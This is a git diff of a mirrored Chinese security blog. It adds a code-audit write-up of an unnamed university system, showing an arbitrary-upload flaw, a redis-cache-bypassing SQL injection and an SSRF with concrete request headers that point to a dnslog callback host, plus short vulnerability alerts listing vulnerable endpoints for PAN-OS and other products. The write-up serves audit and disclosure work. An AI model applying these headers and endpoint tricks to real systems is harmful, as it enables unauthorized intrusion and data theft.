[ Shiro漏洞利用工具 ](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509479&idx=1&sn=fcd10e1e25906677825041d94c01d6e6&chksm=c09ad6b7f7ed5fa1ca6f14462fb5624afb487bbf25782a5ad35cc5a4538b94510045ec86c7f2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,256 @@
|
||||
# 某通用系统0day审计过程
|
||||
Zjacky 道一安全 2024-12-02 00:12
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**免责声明**
|
||||
|
||||
道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
|
||||
|
||||

|
||||
|
||||
**前言**
|
||||
|
||||
|
||||
本篇文章首发在先知社区 作者Zjacky(本人) 先知社区名称: Zjacky 转载原文链接为https://xz.aliyun.com/t/13866
|
||||
|
||||
代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的目标是一套也是各大高校使用的通用系统,已经提交相关SRC平台进行修复
|
||||
|
||||
**路由分析**
|
||||
|
||||
直接看登录接口
|
||||
|
||||

|
||||
|
||||
路由为 /setting.php/index/login
|
||||
|
||||
找对应源码
|
||||
|
||||

|
||||
|
||||
|
||||
第一个接口setting对应Application下的文件
|
||||
|
||||
第二个接口Index对应Setting下的Controller文件名字
|
||||
|
||||
第三个接口为Controller的方法名字
|
||||
|
||||

|
||||
|
||||
**代码审计-上传**
|
||||
|
||||
|
||||
Application\Admin\Controller\UploadController.class.php
|
||||
|
||||
在这个路径下继承了一个upload控制器父类
|
||||
|
||||
|
||||

|
||||
|
||||
所以调用的接口如下
|
||||
|
||||

|
||||
|
||||
|
||||
实例化了一个UploadFile()对象然后给他的属性赋值
|
||||
|
||||
重点关注以下代码
|
||||
|
||||
```
|
||||
$upload->exts = array('jpg', 'gif', 'png', 'jpeg'); // 设置附件上传类型
|
||||
```
|
||||
|
||||
|
||||
发现这里会调用UploadFile()的魔术方法 跟进
|
||||
```
|
||||
public function __set($name,$value){
|
||||
if(isset($this->config[$name])) {
|
||||
$this->config[$name] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
这里其实就是问题的本身,要是传进来的在config里头不存在则返回空,那么我们去看一下config的设置
|
||||
```
|
||||
private $config = array(
|
||||
'maxSize' => -1, // 上传文件的最大值
|
||||
'supportMulti' => true, // 是否支持多文件上传
|
||||
'allowExts' => array(), // 允许上传的文件后缀 留空不作后缀检查
|
||||
'allowTypes' => array(), // 允许上传的文件类型 留空不做检查
|
||||
'thumb' => false, // 使用对上传图片进行缩略图处理
|
||||
'imageClassPath' => 'ORG.Util.Image', // 图库类包路径
|
||||
'thumbMaxWidth' => '',// 缩略图最大宽度
|
||||
'thumbMaxHeight' => '',// 缩略图最大高度
|
||||
'thumbPrefix' => 'thumb_',// 缩略图前缀
|
||||
'thumbSuffix' => '',
|
||||
'thumbPath' => '',// 缩略图保存路径
|
||||
'thumbFile' => '',// 缩略图文件名
|
||||
'thumbExt' => '',// 缩略图扩展名
|
||||
'thumbRemoveOrigin' => false,// 是否移除原图
|
||||
'thumbType' => 0, // 缩略图生成方式 1 按设置大小截取 0 按原图等比例缩略
|
||||
'zipImages' => false,// 压缩图片文件上传
|
||||
'autoSub' => false,// 启用子目录保存文件
|
||||
'subType' => 'hash',// 子目录创建方式 可以使用hash date custom
|
||||
'subDir' => '', // 子目录名称 subType为custom方式后有效
|
||||
'dateFormat' => 'Ymd',
|
||||
'hashLevel' => 1, // hash的目录层次
|
||||
'savePath' => '',// 上传文件保存路径
|
||||
'autoCheck' => true, // 是否自动检查附件
|
||||
'uploadReplace' => false,// 存在同名是否覆盖
|
||||
'saveRule' => 'uniqid',// 上传文件命名规则
|
||||
'hashType' => 'md5_file',// 上传文件Hash规则函数名
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
|
||||
emmm根本没有 exts 所以说后缀根本没有检测,可以从从调用的upload中查看
|
||||
|
||||
断到一个叫自动
|
||||
检查附件
|
||||
|
||||

|
||||
|
||||
步进一下进入check函数存在检查文件类型
|
||||
|
||||

|
||||
|
||||
再次跟进一下checkExt发现是一个很强的校验白名单
|
||||
```
|
||||
private function checkExt($ext) {
|
||||
if(!empty($this->allowExts))
|
||||
return in_array(strtolower($ext),$this->allowExts,true);
|
||||
return true;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
但是重点是他并没有赋值进去
|
||||
|
||||

|
||||
|
||||
在这进行反向验证,讲前面的属性修改为在config里头的内容
|
||||
|
||||

|
||||
|
||||
再次进行断点跟到最后面的config的地方发现成功修改
|
||||
|
||||

|
||||
|
||||
所以这套系统只要存在 $upload->exts = 这个的上传接口 就存在任意文件上传
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**代码审计-SQL(绕redis缓存)**
|
||||
|
||||
直
|
||||
接看前台控制器了
|
||||
|
||||
找到这个路
|
||||
由存在sql的问题
|
||||
|
||||

|
||||
|
||||
|
||||
在这个代码里头,可以发现 $count 跟 $listJson 是关键
|
||||
|
||||
$count的设置是为了不频繁查询,所以这里只要设置随机伪造的PHPSESSID就可以了
|
||||
|
||||
$listJson 的设置就尤为关键了 if (!$listJson) 这里的语句是 我的redis去查phone就是要查不到 为null才能执行下面的sql语句,所以phone就是要不存在的手机号才行,所以就直接随机phone就可以了,但是他在后续的代码中把这跟手机号给设置进了redis中
|
||||
|
||||
|
||||

|
||||
|
||||
所以必须要把这跟phone随机化来绕redis的缓存才能进行正常注入
|
||||
|
||||

|
||||
|
||||
**代码审计-SSRF**
|
||||
|
||||
|
||||
这里全局搜索curl_exec( emm感觉是这里 确实是可控的
|
||||
|
||||
\Application\Course\Controller\DocumentController.class.php
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
从逻辑上来看
|
||||
|
||||
$_SERVER['HTTP_AUTHORIZATION'] 跟 $_SERVER['HTTP_X_OSS_PUB_KEY_URL'] 这两个值都得存在 他就不会进行403的跳转 那么这两个都是我们可控的只要在header头加入即可,之后就会将我们传入的base64编码的值进行解码后给到curl进行直接curl执行
|
||||
```
|
||||
Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l
|
||||
X-Oss-Pub-Key-Url: aHR0cDovL2RxM2JlMC5kbnNsb2cuY24=
|
||||
|
||||
```
|
||||
|
||||
远程测了一下也是完全没问题的
|
||||
|
||||

|
||||
|
||||
加入后返回两百
|
||||
|
||||

|
||||
|
||||
最终也是测出了SSRF
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**关于我们**
|
||||
|
||||
添加好用回复 进群 机器人即可自动邀请入群
|
||||
|
||||

|
||||
|
||||
群内不定期更新各种POC、工具、资料等。
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**点分享**
|
||||
|
||||

|
||||
|
||||
**点收藏**
|
||||
|
||||

|
||||
|
||||
**点在看**
|
||||
|
||||

|
||||
|
||||
**点点赞**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# 漏洞预警 | PAN-OS Web管理界面身份认证绕过漏洞
|
||||
浅安 浅安安全 2024-12-02 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- CVE-2024-0012
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
PAN-OS是运行Palo Alto Networks下一代防火墙的软件。
|
||||
|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2024-0012**
|
||||
|
||||
**漏洞类型:**
|
||||
身份认证绕过
|
||||
|
||||
**影响:**
|
||||
越权访问
|
||||
|
||||
**简述:**
|
||||
PAN-OS设备管理Web界面的/php/ztp_gate.php接口存在身份认证绕过漏洞,未经身份验证的远程攻击者可以通过网络访问管理Web界面,从而进行后续活动,包括修改设备配置、访问其他管理功能。
|
||||
|
||||
**0x04 影响版本**
|
||||
- PAN-OS 10.2 < 10.2.12-h2
|
||||
|
||||
- PAN-OS 11.0 < 11.0.6-h1
|
||||
|
||||
- PAN-OS 11.1 < 11.1.5-h1
|
||||
|
||||
- PAN-OS 11.2 < 11.2.4-h1
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
******目前官方已发布漏洞修复版本,建议用户升级到安全版本****:******
|
||||
|
||||
https://www.paloaltonetworks.cn/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# 漏洞预警 | SRM智联云采系统SQL注入漏洞
|
||||
浅安 浅安安全 2024-12-02 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
智互联科技有限公司的SRM智联云采系统是一款专业的数字采购平台,旨在助力企业实现采购数字化转型,提升供应链管理的效率和协同能力。
|
||||
|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**漏洞类型:**
|
||||
SQL注入
|
||||
|
||||
**影响:**
|
||||
获取敏感信息
|
||||
|
||||
**简述:**
|
||||
SRM智联云采系统的/adpweb/api/srm/delivery/quickReceiptDetail、/adpweb/static/..;/a/sys/sysMessage/statusList、/adpweb/api/srm/delivery/receiptDetail和/adpweb/static/%2e%2e;/a/srm/inquiry/getSuppliers接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
- SRM智联云采系统 2.0
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
****
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||
|
||||
https://www.zhilink.com/
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,37 @@
|
||||
# 漏洞预警 | 海信智能公交企业管理系统SQL注入漏洞
|
||||
浅安 浅安安全 2024-11-19 00:00
|
||||
浅安 浅安安全 2024-12-02 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
**0x02 漏洞概述**
|
||||
|
||||
海信智能公交企业管理系统是一款专为公交企业打造的智能化管理平台,旨在提升公交运营效率和服务质量。
|
||||
|
||||

|
||||

|
||||
|
||||
**0x03 漏洞详情**
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**漏洞类型:**
|
||||
SQL注入
|
||||
|
||||
**影响:**
|
||||
敏感信息泄露****
|
||||
获取敏感信息
|
||||
|
||||
**简述:**
|
||||
海信智能公交企业管理系统的/Erp/ErpAdmin/Form/OrgInfoMng.aspx接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
###
|
||||
海信智能公交企业管理系统的/YZSoft/Forms/XForm/OA/apply.aspx接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||
|
||||
**0x04 影响版本**
|
||||
**0x04 影响版本**
|
||||
- 海信智能公交企业管理系统
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
****
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||
|
||||
Reference in new issue
Block a user